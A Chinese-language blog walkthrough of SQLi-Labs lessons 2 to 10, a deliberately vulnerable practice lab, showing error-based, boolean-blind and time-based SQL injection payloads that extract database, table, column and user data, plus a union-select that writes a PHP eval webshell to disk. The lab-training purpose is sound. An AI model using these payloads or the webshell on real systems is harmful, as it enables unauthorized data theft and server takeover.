Lesson 2:GET - Error based - Intiger based

// GET-基于错误的-数字型

进入less-2,发现和less-1的提示一样,所以在URL后面加上?id=1,得到下面的结果
图片描述

再在URL中加入',发现报以下错误,推测后面加入的'破坏了原有的查询,可能没有引号包裹

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

通过尝试我们发现以下代码都可以执行

?id=1 or 1=1
?id=1 or 1=1%23
?id=1 or 1=1 --+

同样的,我们可以使用lesson 1的方法来破解数据库,详见SQLi-Labs Lesson 1,后面的课程如无特殊说明,则采用相同的方法。

Lesson 3:GET - Error based - Single quotes with twist - String

// GET-基于错误的-单引号变形-字符型

图片描述
在URL后面加上?id=1',发现报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

推测$id两边除了有‘’还有(),于是我们进行构造,经尝试以下均可执行:

?id=1') or 1=1 --+
?id=1') or 1=1%23

Lesson 4:GET - Error based - Double quotes - String

// GET-基于错误的-双引号-字符型
与上面一样,在URL后面加上?id=1'
图片描述

发现竟然成功查询,我们把单引号'换成双引号",发现了熟悉的报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

所以我们这里进行推测:$id被双引号和括号包裹,然后进行构造得到:

?id=1") or 1=1%23
?id=1") or 1=1 --+

Lesson 5:GET - Double injection - Single quotes - String

// GET-双注入-单引号-字符型

在URL加上?id=1,发现显示结果不一样了:
图片描述

把?id=1改成?id=2,界面也一样,但是改成?id=-1,不显示。
图片描述

后面加单引号:
图片描述

那我们可以得出以下结论:

  • 查询正确,显示 You are in......;
  • 查询错误,会有错误回显;
  • 没有查到任何信息的话,就不显示任何信息。

那我们可以利用报错信息来进行注入。我想到的方法是用substr()、length()、ascii()这些sql数据库函数来猜解,但是好像它的原意不是用这种方法来解决,网上的解决方法参考:http://www.2cto.com/article/2...

先介绍一下这些函数的含义:

  • LENGTH(str) //返回字符串str的长度
  • SUBSTRING(str,pos,len) //截取字符串从指定位置开始指定长度字符串
  • ASCII(str) //返回值为字符串str的最左字符的ASCII数值
  • COUNT(expr) //返回SELECT语句检索到的行中非NULL值的数目

我就用我认为的方法做吧:

1. 查询当前数据库名的长度

?id=1' and length(database())=8%23 经尝试,当前数据库名长的为8。

2. 对数据库名的每个字符进行猜解

?id=1' and ascii(substring(database(),1,1))=115%23 -> s
?id=1' and ascii(substring(database(),2,1))=101%23 -> e
?id=1' and ascii(substring(database(),3,1))=99%23 -> c
?id=1' and ascii(substring(database(),4,1))=117%23 -> u
?id=1' and ascii(substring(database(),5,1))=114%23 -> r
?id=1' and ascii(substring(database(),6,1))=105%23 -> i
?id=1' and ascii(substring(database(),7,1))=116%23 -> t
?id=1' and ascii(substring(database(),8,1))=121%23 -> y
得到当前数据库名:security

3. 查询security数据库下的表的个数

?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4%23
经尝试,发现有4个表。

4.查询每个表的名字长度

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit *0*,1),**6**,1))%23
对** **内的数字进行变化,找到最大能显示正确的数字,那就是第一个表的长度
然后更换* *内的数字,继续查看另外几个表的长度。

5. 猜解表的名字

?id=1' and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101%23 -> e
?id=1' and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109%23 -> m
?id=1' and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=97%23 -> a
?id=1' and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=105%23 -> i
?id=1' and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1))=105%23 -> l

这里,我们猜解得到第一张表的名字为email,同理,我们可以猜解得到另外三张表名为referers、uagents、users。接下来猜解每个表里的列的个数、列名长度、列名,字段个数、字段长度、字段值,和上面原理都差不多,不再赘述。

6. 猜解某个表下的列的个数

?id=1' and (select count(column_name) from information_schema.columns where table_name='users')= %d %23

7.猜解某个表下的列的长度

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1),1,1))%23

8. 猜解某个表下的某个列的名字

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1),1,1))=97%23

9. 猜解表下的某个列的某个字段的个数

?id=1' and (select count(username) from security.users)=13%23

10. 猜解表下的某个列的某个字段的长度

?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))%23

11. 猜解表下的某个列的某个字段的值

?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=68%23

至此,猜解完毕。我们可以看到在猜解过程中重复查询了相当一部分代码,十分繁杂。
我们可以通过Python来解放劳动力,之后学习了Python再补。

Lesson 6 : GET - Double injection - Double quotes - String

// GET-双注入-双引号-字符型

在URL后面加上 ?id=1 或者 ?id=1' 界面都显示 You are in ...
图片描述

紧接着尝试用 " ,发现出现了熟悉的报错:
图片描述

我们可以发现其实和lesson 5一个套路,只不过是把单引号换成了双引号,那么解决方法也是差不多的,这里就不赘述了,具体看:SQLi-Labs lesson 5

Lesson 7 : GET - Dump into outfile - String

// GET-导出文件-字符型

首先我们先和之前的套路一样,先在URL后面加?id=1
图片描述

紧接着我们再用 ?id=-1 和 ?id=1' 去尝试:
图片描述

发现同样是报错说SQL语法有错误,得出结论:在能查询到数据的情况下是 You are in ... Use outfile;语法错误或者没有查询到数据则是另一种 You have an error in your SQL syntax;

结合提示"Use outfile",可以知道题目可能是想让我们用导出文件的方法来做,于是我们可以写入一句话木马文件来做:
?id=1')) union select "<?php @eval($_POST['topo']);?>" into outfile "XXX\conn.php" %23

但现在的问题是,该页面不回显信息,我们无法知道它的绝对路径,所以没办法写,所以我们要用别的方式来获取到绝对路径,问题就迎刃而解了。那时我们可以用菜刀连接上去,就大功告成了。

Lesson 8 : GET - Blind - Boolian based - Single quotes

// GET-盲注-基于布尔-单引号

废话不多说,我们直接进行尝试,发现当正常查询时(?id=1 ),是 You are in ......
图片描述

当查询错误时(?id=-1),页面没有显示:
图片描述

?id=1'?id=1'and 1=2%23也是没有显示,但?id=1'%23?id=1'and 1=1%23显示 You are in ... 的界面。
至此我们可以的得出结论:此页面存在布尔盲注。同样的,通过页面显示与否,可以判断猜测是否正确,具体可以查看之前 lesson 5 的方法来做。

Lesson 9 : GET - Blind - Time based - Single quotes

// GET-盲注-基于时间-单引号

图片描述

进入lesson 9,我们不断尝试之前用过的各种payload,发现页面都一直是 You are in ... ,那么它是不是存在注入呢?未必,我们还没有尝试基于时间的(其实标题已经说明了Orz)

sleep(N)是mysql里的函数,作用是强制让语句停留N秒钟,然后再对语句进行处理。

然后我们可以通过感觉到有没有明显的延迟来判断是不是执行了sleep(N)。当然,也可以在浏览器里按F12,在Network模块中查看响应时间。

知道原理之后,我们便可以构造payload了:
?id=1' and if(猜测数据库信息的语句,sleep(5),1)%23

要是我们猜测的语句是对的话,那么就会明显感觉到延迟,没有的话则说明猜测的信息有误。
猜测顺序一般为:数据库名->数据表名->表的列名->字段值。可参考: 这里

Lesson 10 : GET - Blind - Time based - Double quotes

// GET-盲注-基于时间-双引号

图片描述

从标题也就可以看出是和lesson 9一样的,只不过是变成了双引号。


Topo
199 声望38 粉丝

"the quieter you become, the more you are able to hear."